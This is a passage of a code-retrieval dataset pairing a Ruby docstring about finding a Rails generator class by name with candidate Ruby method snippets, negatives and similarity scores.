\"class\" )\n\n \n @state.type = type\n @state.channel = channel\n\n ensure\n # -> uncomment the next line to manually enable rule tracing\n # trace_out( __method__, 90 )\n\n end", "def check_class_by(check_name)\n Kernel.const_get(\n \"Ossert::Classifiers::Check::#{check_name.capitalize}\"\n )\n end", "def class_tree\n @class_tree ||= generate_class_tree\n end", "def lookup(name)\n if @map[name]\n @map[name]\n else\n # Descendant classes should be loaded for this to work\n @klass.descendants.each do |klass|\n proto_model = klass.factory.lookup(name)\n return proto_model if proto_model\n end\n \n nil\n end\n end", "def base_class\n # create the base class file\n File.open(File.join(repo_name, 'lib', \"#{use_kata_name}.rb\"), 'w') {|f| f.write <<EOF}\nclass #{class_name}\nend\nEOF\n end", "def add_class class_type, given_name, superclass = '::Object'\n # superclass +nil+ is passed by the C parser in the following cases:\n # - registering Object in 1.8 (correct)\n # - registering BasicObject in 1.9 (correct)\n # - registering RubyVM in 1.9 in iseq.c (incorrect: < Object in vm.c)\n #\n # If we later find a superclass for a registered class with a nil\n # superclass, we must honor it.\n\n # find the name & enclosing context\n if given_name =~ /^:+(\\w+)$/ then\n full_name = $1\n enclosing = top_level\n name = full_name.split(/:+/).last\n else\n full_name = child_name given_name\n\n if full_name =~ /^(.+)::(\\w+)$/ then\n name = $2\n ename = $1\n enclosing = @store.classes_hash[ename] || @store.modules_hash[ename]\n # HACK: crashes in actionpack/lib/action_view/helpers/form_helper.rb (metaprogramming)\n unless enclosing then\n # try the given name at top level (will work for the above example)\n enclosing = @store.classes_hash[given_name] ||\n @store.modules_hash[given_name]\n return enclosing if enclosing\n # not found: create the parent(s)\n names = ename.split('::')\n enclosing = self\n names.each do |n|\n enclosing = enclosing.classes_hash[n] ||\n enclosing.modules_hash[n] ||\n enclosing.add_module(RDoc::NormalModule, n)\n end\n end\n else\n name = full_name\n enclosing = self\n end\n end\n\n # fix up superclass\n if full_name == 'BasicObject' then\n superclass = nil\n elsif full_name == 'Object' then\n superclass = '::BasicObject'\n end\n\n # find the superclass full name\n if superclass then\n if superclass =~ /^:+/ then\n superclass = $' #'\n else\n if superclass =~ /^(\\w+):+(.+)$/ then\n suffix = $2\n mod = find_module_named($1)\n superclass = mod.full_name + '::' + suffix if mod\n else\n mod = find_module_named(superclass)\n superclass = mod.full_name if mod\n end\n end\n\n # did we believe it was a module?\n mod = @store.modules_hash.delete superclass\n\n upgrade_to_class mod, RDoc::NormalClass, mod.parent if mod\n\n # e.g., Object < Object\n superclass = nil if superclass == full_name\n end\n\n klass = @store.classes_hash[full_name]\n\n if klass then\n # if TopLevel, it may not be registered in the classes:\n enclosing.classes_hash[name] = klass\n\n # update the superclass if needed\n if superclass then\n existing = klass.superclass\n existing = existing.full_name unless existing.is_a?(String) if existing\n if existing.nil? ||\n (existing == 'Object' && superclass != 'Object') then\n klass.superclass = superclass\n end\n end\n else\n # this is a new class\n mod = @store.modules_hash.delete full_name\n\n if mod then\n klass = upgrade_to_class mod, RDoc::NormalClass, enclosing\n\n klass.superclass = superclass unless superclass.nil?\n else\n klass = class_type.new name, superclass\n\n enclosing.add_class_or_module(klass, enclosing.classes_hash,\n @store.classes_hash)\n end\n end\n\n klass.parent = self\n\n klass\n end", "def class_by_name name\n # http://stackoverflow.com/questions/14070369/how-to-instantiate-class-from-name-string-in-rails\n Object.const_get name.to_s\n\n end", "def parse_generator(gen_hash)\n # parse the hash and extract the require name,\n # the output path and the options\n req_name = get_key(gen_hash, 'require')\n out_path = get_key(gen_hash, 'out')\n class_name = get_key(gen_hash, 'class')\n opts = gen_hash['opts'] ||= {}\n\n # in case the require cannot be completed, throw a meaningful\n # error message\n begin\n require req_name\n rescue LoadError\n raise \"Unable to require '#{req_name}' in generator #{gen_hash}\"\n end\n\n # creates a new instance of Generator class\n generator_class = Object::const_get class_name\n\n # Creates the GeneratorWriter, assigns the generator\n # and the path\n generator_writer = GeneratorWriter.new\n generator_writer.path = out_path\n generator_writer.generator = generator_class.new\n generator_writer.opts = opts\n return generator_writer\n end", "def spec # :nodoc:\n @spec ||=\n begin\n tuple = Gem::NameTuple.new @name, @version, @platform\n\n @source.fetch_spec tuple\n end\n end", "def clazz\n Module.const_get(name)\n rescue NameError\n nil\n end", "def required_class; end", "def auto_genclass! opts = {}\n opts[:scope] ||= DmIsReflective\n opts[:storages] ||= /.*/\n opts[:storages] = [opts[:storages]].flatten\n\n storages.map{ |storage|\n\n mapped = opts[:storages].each{ |target|\n case target\n when Regexp;\n break storage if storage =~ target\n\n when Symbol, String;\n break storage if storage == target.to_s\n\n else\n raise ArgumentError.new(\"invalid argument: #{target.inspect}\")\n end\n }\n\n reflective_genclass(mapped, opts[:scope]) if mapped.kind_of?(String)\n }.compact\n end", "def transpile\n ast = @ast # method-local binding required for Class.new blocks\n\n @klass ||= Class.new(Framework::Definition::Base) do\n framework_name ast[:name]\n framework_short_name ast[:framework_short_name]\n end.tap do |klass|\n klass.const_set('Invoices', entry_data_class(:invoice)) if ast.field_defs(:invoice)\n klass.const_set('Contracts', entry_data_class(:contract)) if ast.field_defs(:contract)\n end\n end", "def for_gem\n called_from = caller_locations(1, 1).first.path\n Registry.loader_for_gem(called_from)\n end", "def get_class_by_name!(name , super_class = :Object)\n c = get_class_by_name(name)\n return c if c\n create_class( name ,super_class)\n end", "def generator\n @app.generator\nend", "def path\n http_url @store.rdoc.generator.class_dir\n end", "def documentation_page store, generator, path, req, res\n text_name = path.chomp '.html'\n name = text_name.gsub '/', '::'\n\n if klass = store.find_class_or_module(name) then\n res.body = generator.generate_class klass\n elsif page = store.find_text_page(name.sub(/_([^_]*)\\z/, '.\\1')) then\n res.body = generator.generate_page page\n elsif page = store.find_text_page(text_name.sub(/_([^_]*)\\z/, '.\\1')) then\n res.body = generator.generate_page page\n else\n not_found generator, req, res\n end\n end", "def class_of(short_name)\n fqn(short_name).constantize\n end", "def test_class_for(*mods, &blk)\n klass = Class.new\n klass.class_eval { include(*mods) }\n klass.class_eval(&blk) unless blk.blank?\n return klass\n end", "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "def get_class()\n l = get_type()\n #puts \"Type #{l.class} in #{self.class} , #{self}\"\n l.object_class()\n end", "def load_parent(doc)\n\n # Scan evidence of a superclass.\n doc.scan(@extends_regexp)\n\n # If we match then convert the import to a file reference.\n if $9 != nil\n possible_parent_paths = imported_class_to_file_path(doc,$9)\n log_append(\"Loading super class '#{$9}' '#{possible_parent_paths[0]}'.\")\n return load_class( possible_parent_paths )\n end\n\n # ActionScript 3 makes extending object's optional when writing code.\n # However all classes are decendants of Object, so add it here.\n doc.scan(/^\\s*(public dynamic class Object)/)\n\n unless $1\n log_append(\"Loading super class 'Object' 'Object'.\")\n return load_class([\"Object\"])\n end\n\n return nil\n\n end", "def definition\n \"class #{full_name}\"\n end", "def class_decls; end", "def sc_class()\n # We only need to fetch the remote SC class name once since it never changes for a given instance\n @class_name = @driver.get_sc_object_class_name(abs_path) if @class_name.nil?\n return @class_name\n end" ]
[ "0.71939576", "0.6148053", "0.582786", "0.5793454", "0.5735687", "0.5721393", "0.56409436", "0.56309843", "0.5584267", "0.5560206", "0.5419704", "0.5403766", "0.54036635", "0.53656346", "0.53545034", "0.5330423", "0.5326593", "0.5313185", "0.53128207", "0.53042924", "0.5292688", "0.5284232", "0.52789754", "0.5229262", "0.52283084", "0.5227757", "0.5227757", "0.5217253", "0.52132326", "0.5211797", "0.5210652", "0.5210652", "0.51996875", "0.5199435", "0.51830006", "0.518136", "0.5159825", "0.51596844", "0.51595193", "0.5158582", "0.51533324", "0.51449615", "0.51352715", "0.5134217", "0.51143897", "0.50950634", "0.50942576", "0.50939506", "0.5092898", "0.5087849", "0.50668675", "0.5057224", "0.50532776", "0.5053019", "0.50381243", "0.50381243", "0.50381243", "0.5025138", "0.5025138", "0.50239915", "0.5010217", "0.5005563", "0.4996795", "0.49708703", "0.4965933", "0.49557924", "0.49545252", "0.49452576", "0.49436992", "0.49421602", "0.49283892", "0.49278143", "0.49271387", "0.49271387", "0.49220496", "0.49150294", "0.49147713", "0.4904185", "0.4902547", "0.49008718", "0.48966116", "0.48933178", "0.48904333", "0.4888371", "0.48853692", "0.48852736", "0.48832634", "0.48831964", "0.488231", "0.48772255", "0.48760554", "0.48660052", "0.4863435", "0.48608422", "0.48483822", "0.48483822", "0.4829944", "0.48275262", "0.4826222", "0.4825976" ]
0.6203847
1
Search for the first Class descending from Rails::Generator::Base whose name matches the requested class name.
def lookup_class ObjectSpace.each_object(Class) do |obj| return obj if obj.ancestors.include?(Rails::Generator::Base) and obj.name.split('::').last == class_name end raise NameError, "Missing #{class_name} class in #{class_file}" end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def find_class_named name\n return self if full_name == name\n return self if @name == name\n\n @classes.values.find do |klass|\n next if klass == self\n klass.find_class_named name\n end\n end", "def find_class_named name\n @classes_hash[name]\n end", "def find_class_named_from name, from\n from = find_class_named from unless RDoc::Context === from\n\n until RDoc::TopLevel === from do\n return nil unless from\n\n klass = from.find_class_named name\n return klass if klass\n\n from = from.parent\n end\n\n find_class_named name\n end", "def findExactClassMatch(name)\n fname = name.tr(':', '_')\n return ClassIndex.classExists?(fname)\n end", "def find(name)\n @@subclasses.fetch(name.to_s, nil)\n end", "def find_class(class_name)\n begin\n klass = Module.const_get(class_name)\n return (klass.is_a?(Class) ? klass : nil)\n rescue NameError\n return nil\n end\n end", "def class_by_name name\n # http://stackoverflow.com/questions/14070369/how-to-instantiate-class-from-name-string-in-rails\n Object.const_get name.to_s\n\n end", "def findClassesThatMatch(name)\n fname = name.tr(':', '_')\n return ClassIndex.findClasses(fname)\n end", "def objects_of_class(name)\n find_all { |r| name === r['class'] }\n end", "def search_class\n klass = if args[1]\n target.eval(args[1])\n else\n target_self\n end\n\n klass.is_a?(Module) ? klass : klass.class\n end", "def classByName(className)\r\n\t\t# we keep a blacklist of classes. For instance\r\n\t\t# if you are using say QT, you'll have constant references\r\n\t\t# to QObject, that is not in your tag files.\r\n\t\t# to avoid checking all the tags looking for this class\r\n\t\t# each time that I'm asked for it, I just blacklist it once for all.\r\n\t\t# this happened with KoRect in kword, and the time went from\r\n\t\t# 12 seconds to instantaneous...\r\n\t\t#return nil if @blacklist.include?(className)\r\n\t\t@classTags.each { |tag|\r\n\t\t\t\t#puts \"classByName: found \" + tag.name\r\n\t\t\tif (tag.name == className)\r\n\t\t\t\treturn tag\r\n\t\t\tend\r\n\t\t}\r\n\t\t\r\n\t\treturn nil\r\n\tend", "def find_by_trying(class_name)\n @namespaces.find do |namespace|\n begin\n break namespace.const_get(class_name)\n rescue NameError\n end\n end\n end", "def find_by_trying(class_name)\n @namespaces.find do |namespace|\n begin\n break namespace.const_get(class_name)\n rescue NameError\n end\n end\n end", "def class_get class_name\n\t\t\t\t@monitor.synchronize do\n\t\t\t\t\tproviders.each do |p|\n\t\t\t\t\t\tbegin\n\t\t\t\t\t\t\treturn p.class_get(class_name) \n\t\t\t\t\t\trescue NotExist;\n\t\t\t\t\t\tend\n\t\t\t\t\tend\n\t\t\t\t\traise \"Class '#{class_name}' doesn't exist!\"\n\t\t\t\tend\n\t\t\tend", "def find_finder_class_for(record)\n class_hierarchy = [record.class]\n\n while class_hierarchy.first != @klass\n class_hierarchy.unshift(class_hierarchy.first.superclass)\n end\n\n class_hierarchy.detect { |klass| !klass.abstract_class? }\n end", "def get_class(name)\n name.split(/::/).inject(Object) { |p, n| p.const_get(n) } \n end", "def find_class_or_module name\n name = $' if name =~ /^::/\n @classes_hash[name] || @modules_hash[name]\n end", "def get_class_by_name!(name , super_class = :Object)\n c = get_class_by_name(name)\n return c if c\n create_class( name ,super_class)\n end", "def find_finder_class_for record #:nodoc: \n class_hierarchy = [record.class]\n\n while class_hierarchy.last != @klass && class_hierarchy.last.superclass\n class_hierarchy.push(class_hierarchy.last.superclass)\n end\n \n class_hierarchy.detect { |klass| !klass.abstract_class? }\n end", "def find_finder_class_for(record) #:nodoc:\n class_hierarchy = [record.class]\n\n while class_hierarchy.first != @klass\n class_hierarchy.insert(0, class_hierarchy.first.superclass)\n end\n\n class_hierarchy.detect { |klass| !klass.abstract_class? }\n end", "def get_class(name)\n # 'self' -- the class from which get_class is called.\n self.const_get(name)\n end", "def get_class_by_name( name )\n raise \"get_class_by_name #{name}.#{name.class}\" unless name.is_a?(Symbol)\n c = classes[name]\n #puts \"MISS, no class #{name} #{name.class}\" unless c # \" #{classes}\"\n #puts \"CLAZZ, #{name} #{c.get_type.get_length}\" if c\n c\n end", "def lookup_task_klass(klass_name)\n if Object.const_defined?(klass_name)\n klass_name.constantize\n else\n Task.descendants.find do |descendant|\n descendant.name.demodulize == klass_name\n end\n end\n end", "def get_class(cname, mdl = Processor)\n mdl.const_get(cname.split(/[\\,\\_]/).map { |p| p.capitalize }.join)\n rescue NameError\n return nil\n end", "def class_name\n return @options[:class_name] if not @options[:class_name].nil?\n class_main_found = false\n @catalog['resources'].each_with_index do |r,i|\n if r['type'] == 'Class' and r['title'] == 'main'\n class_main_found = true\n next\n end\n if class_main_found and r['type'] == 'Class'\n return r['title'].downcase\n end\n end\n end", "def findClassModelByPluginName(plugName)\n for cls in @classes\n if cls.plugName == plugName\n return cls\n end\n end\n\n return nil\n end", "def find_with_const_defined(class_name)\n @namespaces.find do |namespace|\n if namespace.const_defined?(class_name)\n break namespace.const_get(class_name)\n end\n end\n end", "def find_with_const_defined(class_name)\n @namespaces.find do |namespace|\n if namespace.const_defined?(class_name)\n break namespace.const_get(class_name)\n end\n end\n end", "def class_for_name qualified_name\n raise unless ::Class === (resolved = ::Object.const_get qualified_name, false)\n resolved\n rescue\n raise ::NameError, %(Could not resolve class for name: #{qualified_name})\n end", "def determine_class_for names\n klass = names.first\n if AX.const_defined? klass, false\n AX.const_get klass\n else\n create_class *names\n end\n end", "def get_class(class_name)\n Module.const_get(class_name)\n rescue\n nil\n end", "def find_class_or_module_named(symbol)\n RDoc::TopLevel.classes_hash.each_value do |c|\n return c if c.full_name == symbol\n end\n\n RDoc::TopLevel.modules_hash.each_value do |m|\n return m if m.full_name == symbol\n end\n\n nil\n end", "def findClass(name)\n\n cl = findClassesThatMatch(name)\n\n # now a slight problem. If the user said 'File', we'll\n # have matched 'File' and 'File__Stat', but really\n # just 'File' was wanted, so...\n\n cl = [ name ] if cl.size > 1 && cl.include?(name)\n\n case cl.size\n when 0\n @op.error(\"Couldn't find class/module `#{name}'.\\n\" +\n \"Use #$0 with no parameter for a list\")\n throw :exit, 1\n\n when 1\n file_name = File.join($datadir, cl[0])\n res = @desc_files[file_name]\n if not res\n File.open(file_name) do |f|\n res = @desc_files[file_name] = Marshal.load(f)\n end\n end\n return res\n else\n return cl\n end \n end", "def klass\n @klass ||= compute_class(class_name)\n end", "def klass\n @klass ||= compute_class(class_name)\n end", "def klass\n @klass ||= compute_class(class_name)\n end", "def get_class(class_name)\n klass = Module.const_get(class_name)\n return nil unless klass.is_a?(Class)\n return klass\n rescue NameError\n return nil\n end", "def find_by_name(name)\n find do |event|\n event.job_class_name == name.to_s\n end\n end", "def klass_for(name)\n @comparators ? @comparators[name] : nil\n end", "def get_db_superclass name #:nodoc:\n# @actual_class_hash = get_classes( 'name', 'superClass') if @actual_class_hash.nil? \n z= @actual_class_hash.find{|x,y| x['name'] == name.to_s } \n z['superClass'] unless z.nil?\n end", "def find_class_or_module name\n @store.find_class_or_module name\n end", "def find(name)\n register_all unless initialized?\n SugarCRM.modules.each do |m|\n return m if m.name == name\n return m if m.klass == name\n end\n false\n end", "def klass\n @klass ||= begin\n @klass_name.split('::').inject(Object){|n,i| n.const_get(i)}\n rescue NameError => e\n end\n end", "def lookup(name)\n if @map[name]\n @map[name]\n else\n # Descendant classes should be loaded for this to work\n @klass.descendants.each do |klass|\n proto_model = klass.factory.lookup(name)\n return proto_model if proto_model\n end\n \n nil\n end\n end", "def classes(name = nil)\n if name\n classes.find(:name => name)\n else\n @classes.flatten\n end\n end", "def get_or_create_class name\n raise \"uups #{name}.#{name.class}\" unless name.is_a? Symbol\n c = @classes[name]\n unless c\n c = BootClass.new(name)\n @classes[name] = c\n end\n c\n end", "def get_penultimate_superclass_name_from_string(param_name)\n superclass_constant = Module.const_get(param_name)\n while superclass_constant.name != \"Object\"\n penultiamte_class = superclass_constant\n superclass_constant = superclass_constant.superclass\n end\n return penultiamte_class.name\n end", "def klass\n @klass ||= class_name.constantize\n end", "def klass\n @klass ||= class_name.constantize\n end", "def class_from_string(class_name)\n parts = class_name.split('::')\n constant = Object\n parts.each do |part|\n constant = constant.const_get(part)\n end\n constant\nend", "def first_class(type, klass)\n (plugins_map(type) || {})[string2class(klass)]\n end", "def test_find_class_named\n @c2.classes_hash['C2'] = @c2\n\n assert_nil @c2.find_class_named('C1')\n end", "def klass\n @klass ||=\n if klass_name\n klass_name.constantize\n else\n nil\n end\n end", "def class_from_name\n if model_name.to_s.include? \"_\"\n ns, *klass = model_name.to_s.split(\"_\").collect(&:camelize)\n begin\n \"#{ns}::#{klass.join(\"\")}\".constantize\n rescue NameError\n \"#{ns}#{klass.join(\"\")}\".constantize\n end\n else\n model_name.to_s.camelize.constantize\n end\n end", "def clazz\n Module.const_get(name)\n rescue NameError\n nil\n end", "def find_by_namespace(name, base = nil, context = nil) # :nodoc:\n lookups = []\n lookups << \"#{base}:#{name}\" if base\n lookups << \"#{name}:#{context}\" if context\n\n unless base || context\n unless name.to_s.include?(?:)\n lookups << \"#{name}:#{name}\"\n lookups << \"rails:#{name}\"\n end\n lookups << \"#{name}\"\n end\n\n lookup(lookups)\n\n namespaces = subclasses.index_by(&:namespace)\n lookups.each do |namespace|\n klass = namespaces[namespace]\n return klass if klass\n end\n\n invoke_fallbacks_for(name, base) || invoke_fallbacks_for(context, name)\n end", "def has_class?(name)\n @class_syms ||= classes.map(&:to_sym)\n @class_syms.include?(name.to_sym)\n end", "def object_class(klass)\n @object_classes[klass.to_s.tr('-', '_').downcase]\n end", "def class_for(cls)\n return nil unless cls # superclass will return nil when none\n fqn = cls.qualified_type_name\n return classes[fqn] if classes[fqn]\n classes[fqn] = JClass.parse(self, cls)\n end", "def check_class_by(check_name)\n Kernel.const_get(\n \"Ossert::Classifiers::Check::#{check_name.capitalize}\"\n )\n end", "def find_object(name); end", "def find_module_named(name)\n find_class_or_module(name)\n end", "def find_class(raw_name, name)\n unless @classes[raw_name]\n if raw_name =~ /^rb_m/\n container = @top_level.add_module RDoc::NormalModule, name\n else\n container = @top_level.add_class RDoc::NormalClass, name\n end\n\n container.record_location @top_level\n @classes[raw_name] = container\n end\n @classes[raw_name]\n end", "def class_name\n self.fullname[/\\A(.*)([\\.\\#])([^\\.\\#]+)\\z/, 1]\n end", "def find(slug)\n type = slug.to_s.demodulize.classify\n\n subclasses.find do |subclass|\n subclass.name.gsub(prefix, '') == type.to_s.gsub(prefix, '')\n end || raise(TypeError.new(type, types.to_sentence))\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def class_of(short_name)\n fqn(short_name).constantize\n end", "def class_at_path(path)\n if path\n begin\n # remove the _ and then singularize\n if path.last == :[]\n index = -2\n else\n index = -1\n end\n\n klass_name = path[index].singularize.camelize\n\n klass = $page.model_classes[klass_name] || Model\n rescue NameError => e\n # Ignore exception, just means the model isn't defined\n klass = Model\n end\n else\n klass = Model\n end\n\n return klass\n end", "def class_for_path(path)\n path.split('::').inject(Kernel) do |scope, const_name|\n scope.const_get(const_name)\n end\n end", "def get_class_ref(class_name)\n klass = Kernel\n class_name.split(\"::\").each do |name|\n if klass.const_defined? name\n klass = klass.const_get(name)\n else\n return nil\n end\n end\n klass\n end", "def get_as_class_name ruby_class_name\n mapping = @ruby_mappings[ruby_class_name]\n return mapping.nil? ? nil : mapping.as\n end", "def klass\n @object.name if (defined? @object.class.name)\n end", "def current_class( class_code )\n self.classes.select{|c| c.class_code == class_code }.first\n end", "def resource_klass(name)\n eval('RedboothRuby::' + camelize(name)) rescue nil\n end", "def get_type_by_class_name(name)\n clazz = get_class_by_name(name)\n return nil unless clazz\n clazz.instance_type\n end", "def klass\n object_name.classify.constantize\n end", "def match(klass); end", "def class_name\n self.class == Class ? self.name : self.class.name\n end", "def klass\n class_name = self[\"_type\"]\n class_name ? class_name.constantize : nil\n end", "def look_for_name_of_deceased(list_of_classes, current_index)\n if current_index + 1 < list_of_classes.count\n next_class = list_of_classes[current_index + 1]\n if next_class[1][0] == :name_component || next_class[1][1] <= 0.5\n ## we check if the next class is either a name_component, or had a low confidence\n next_class[1][0] = :already_considered\n return next_class[0]\n end\n end\n return nil\nend", "def has_class?(c)\n find_all do |q|\n n=q.get_attribute(\"class\").split(\" \")\n n.index(c.to_s)\n end\n end", "def invoke_fallbacks_for(name, base)\n return nil unless base && fallbacks[base.to_sym]\n invoked_fallbacks = []\n\n Array(fallbacks[base.to_sym]).each do |fallback|\n next if invoked_fallbacks.include?(fallback)\n invoked_fallbacks << fallback\n\n klass = find_by_namespace(name, fallback)\n return klass if klass\n end\n\n nil\n end", "def detect(owner)\n ancestors = owner.ancestors.map(&:to_s)\n # While owner does not refer to \"Object\"\n while owner.superclass\n ancestors.push(owner.to_s)\n owner = owner.superclass\n end\n classes.each do |back_end, class_name|\n if ancestors.include? class_name\n return back_end\n end\n end\n nil\n end", "def name\n @klass\n end", "def klass\n name.gsub(module_name+\"::\",\"\")\n end", "def resolve_class object\n ::Class === object ? object : (::String === object ? (class_for_name object) : nil)\n end", "def in_klass name\n if Sexp === name then\n name = case name.sexp_type\n when :colon2 then\n name = name.flatten\n name.delete :const\n name.delete :colon2\n name.join(\"::\")\n when :colon3 then\n name.last.to_s\n else\n raise \"unknown type #{name.inspect}\"\n end\n end\n\n @class_stack.unshift name\n\n with_new_method_stack do\n yield\n end\n ensure\n @class_stack.shift\n end", "def class_by_ref(ref)\n @processors.each do |class_name, processor|\n return class_name if /^(urn:)?#{processor.prefix}(?!\\w)/i.match?(ref) ||\n processor.defaultprefix.match(ref)\n end\n Util.log <<~WARN, :info\n [relaton] #{ref} does not have a recognised prefix\n WARN\n end", "def name\n has_module?(klass) ? klass[(klass.index(\"::\")+2)..-1] : klass\n end", "def clazz( name )\n\t\t\t\tKesh::ArgTest::type( \"name\", name, String )\n\t\t\t\tKesh::ArgTest::stringLength( \"name\", name, 1 )\t\t\t\n\t\t\t\treturn Kesh::Loader::ClassInfo.new( self, name )\n\t\t\tend", "def makena_classes\n Rails.application.eager_load!\n pass = ActiveRecord::Base.descendants.map{|a| a.to_s}\n pass.shift\n pass\n end", "def get_class_from_scope(scope, name)\n klass = scope\n name = name.to_s.sub(%r{^Backup::Config::DSL::}, \"\")\n name.split(\"::\").each do |chunk|\n klass = klass.const_get(chunk)\n end\n klass\n end", "def classes(name = nil)\n find_children_of_type(\"Class\", name)\n end", "def find_resource str\n resources.find{|rsc_klass| rsc_klass.to_s == str }\n end", "def find_sti_class(type_name)\n type_name = base_class.type_for_attribute(inheritance_column).cast(type_name)\n subclass = begin\n if store_full_sti_class\n type_name.constantize\n else\n compute_type(type_name)\n end\n rescue NameError\n raise ActiveRecord::SubclassNotFound,\n \"The single-table inheritance mechanism failed to locate the subclass: '#{type_name}'. \" \\\n \"This error is raised because the column '#{inheritance_column}' is reserved for storing the class in case of inheritance. \" \\\n \"Please rename this column if you didn't intend it to be used for storing the inheritance class \" \\\n \"or overwrite #{name}.inheritance_column to use another column for that information.\"\n end\n #### our code starts here\n # Consider this class hierarchy\n # class Parent < ActiveRecord::Base; end\n # class Child < Parent; end\n # class ExtendedParent < ActiveType::Record[Parent]; end\n # class ExtendedChild < ActiveType::Record[Child]; end\n if self < subclass\n # i.e. ExtendendChild.find(child.id)\n # => self = ExtendedChild; subclass = Child\n # instantiate as ExtendedChild\n subclass = self\n elsif subclass < extended_record_base_class\n # i.e. ExtendedParent.find(child.id)\n # => subclass = Child; self = ExtendedParent; extended_record_base_class = Parent\n # There is no really good solution here, since we cannot instantiate as both ExtendedParent\n # and Child. We opt to instantiate as ExtendedParent, since the other option can be\n # achieved by using Parent.find(child.id)\n subclass = self\n end\n #### our code ends here\n unless subclass == self || descendants.include?(subclass)\n raise ActiveRecord::SubclassNotFound, \"Invalid single-table inheritance type: #{subclass.name} is not a subclass of #{name}\"\n end\n subclass\n end", "def class_name\n klass = single_class\n while klass.name == ''\n klass = klass.superclass\n end\n if list_context?\n \"[#{klass}]\"\n else\n klass.name\n end\n end", "def klass_name\n @klass_name ||= \n if guessed_name = name.scan(/(.*)Session/)[0]\n @klass_name = guessed_name[0]\n end\n end", "def find_module_named(name)\n res = @modules[name] || @classes[name]\n return res if res\n return self if self.name == name\n find_enclosing_module_named name\n end", "def find_module_named(name)\n res = @modules[name] || @classes[name]\n return res if res\n return self if self.name == name\n find_enclosing_module_named name\n end" ]
[ "0.7820382", "0.71787", "0.7123441", "0.69329756", "0.67919314", "0.6738578", "0.66702116", "0.6610641", "0.6608143", "0.6594133", "0.6537088", "0.6501001", "0.6501001", "0.64628756", "0.64341855", "0.642436", "0.6412617", "0.6384348", "0.63720065", "0.6351229", "0.6347497", "0.6332158", "0.630629", "0.62734383", "0.6199214", "0.61386615", "0.6135879", "0.6135879", "0.6118626", "0.6117871", "0.6114073", "0.6099817", "0.608249", "0.6063028", "0.6063028", "0.6063028", "0.60623264", "0.6059466", "0.6041437", "0.6024854", "0.59871566", "0.5937119", "0.59289503", "0.5925444", "0.5910388", "0.5862409", "0.58590335", "0.5837709", "0.5837709", "0.58284914", "0.581422", "0.5813266", "0.57998574", "0.57823527", "0.5776945", "0.57750523", "0.57673967", "0.5760206", "0.57544506", "0.57471424", "0.5745297", "0.5743867", "0.5738803", "0.5737288", "0.5736619", "0.57336766", "0.57336766", "0.57318807", "0.57274467", "0.572326", "0.570991", "0.5707522", "0.57013136", "0.5699483", "0.5695617", "0.56858844", "0.56696695", "0.56689334", "0.56683433", "0.5655971", "0.5642593", "0.56376004", "0.5629354", "0.56287074", "0.56212056", "0.5607809", "0.5595645", "0.5592561", "0.55806077", "0.55784774", "0.55772233", "0.5570989", "0.55678755", "0.55662", "0.55584073", "0.555747", "0.55539733", "0.5541706", "0.5541111", "0.5541111" ]
0.7827669
0
Return the watch for the object, or a new watch if none found. The new watch should be active if the object is new, correspoding to the watch being on by default when the user creates a new CI or Outage.
def watched_by_or_new(user) watched_by(user) || watches.build(user: user, active: !persisted?) end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def watching?; @@watching == $$; end", "def watcher(name)\n watchers.find { |watcher| watcher.name == name }\n end", "def watch()\n merge(watch: 'true')\n end", "def watch()\n merge(watch: 'true')\n end", "def set_watch\n @watch = Watch.find(params[:id])\n end", "def is_watchable?\n true\n end", "def watch?\n false\n end", "def set_watcher\n @watcher = Watcher.friendly.find(params[:id])\n end", "def create_watching\n @watching = Watching.add_watcher(owner, event.lesson)\n end", "def watch\n start_watch\n end", "def watching?\n @watcher && @watcher.alive? ? true : false\n end", "def watch!\n start_watch true\n end", "def watch_method; end", "def watch_item\n\t\t# determine watcher, item to watch\n\t\t@watcher = current_user\n\t\t@item = Item.find(params[:id])\n\t\texist = Watch.find(:first, :conditions => {:watcher_id => @watcher.id, :item_id => @item.id})\n\n\t\t# if it exists and is not closed\n\t\tif !exist && !@item.closed\n\t\t\t# build the relationship between item and watcher\n\t\t\t@watch = @watcher.watches.build(:watcher_id => @watcher.id, :item_id => @item.id)\n\t\t\t@watch.save\n\t\t\t# show pop up regarding watch success\n\t\t\tgflash :success => \"You are now watching #{@item.name}!\"\n\t\telsif @item.closed\n\t\t\tgflash :error => \"Can not watch this auction!\"\n\t\telse\n\t\t\tgflash :error => \"You are already watching #{@item.name}!\"\n\t\tend\n\t\tredirect_to :controller => 'items', :action => 'show', :id => @item.id\n\tend", "def watch\n @monitor_thread ||= Thread.new { monitor_node }\n self\n end", "def watch\n\nend", "def watching=(name)\n gateway_check\n update_status(@status, name, nil, nil, nil, 3)\n end", "def watch(&block)\n instance_eval(&block)\n add_watch_callbacks\n end", "def keep_watching?\n true\n end", "def restricting_new_watches_for?(watch_type, path)\n synchronize do\n if set = @outstanding_watches[watch_type]\n return set.include?(path)\n end\n end\n\n false\n end", "def set_watchlist\n @watchlist = Watchlist.find(params[:id])\n end", "def set_watchlist\n @watchlist = Watchlist.find(params[:id])\n end", "def set_watchlist\n @watchlist = Watchlist.find(params[:id])\n end", "def set_watchlist\n @watchlist = Watchlist.find(params[:id])\n end", "def watch\n return if @zk.nil?\n log.debug \"synapse: setting watch at #{@discovery['path']}\"\n\n @watcher = @zk.register(@discovery['path'], &watcher_callback) unless @watcher\n\n # Verify that we actually set up the watcher.\n unless @zk.exists?(@discovery['path'], :watch => true)\n log.error \"synapse: zookeeper watcher path #{@discovery['path']} does not exist!\"\n zk_cleanup\n end\n log.debug \"synapse: set watch at #{@discovery['path']}\"\n end", "def set_issue_watch\n @issue_watch = IssueWatch.find(params[:id])\n end", "def set_watchlist\n @watchlist = Watchlist.friendly.find(params[:id])\n end", "def job_is_in_watchlist?(job_id)\r\n return (JobSeekerWatchlist.find(:first, :conditions=>[\"job_seeker_id = ? and job_id = ?\", self.id, job_id]).nil? ? false : true)\r\n end", "def watch\n watch_state_znode\n end", "def doWatch _obj, _args\n \"_obj doWatch _args;\" \n end", "def watcher_candidature\n @watcher_candidature ||= begin\n self.action_watchers.where(action: 'user/candidature').last\n end\n end", "def lease\n @watch.objects.find { |o| o.name == \"lease\" }.val\n end", "def 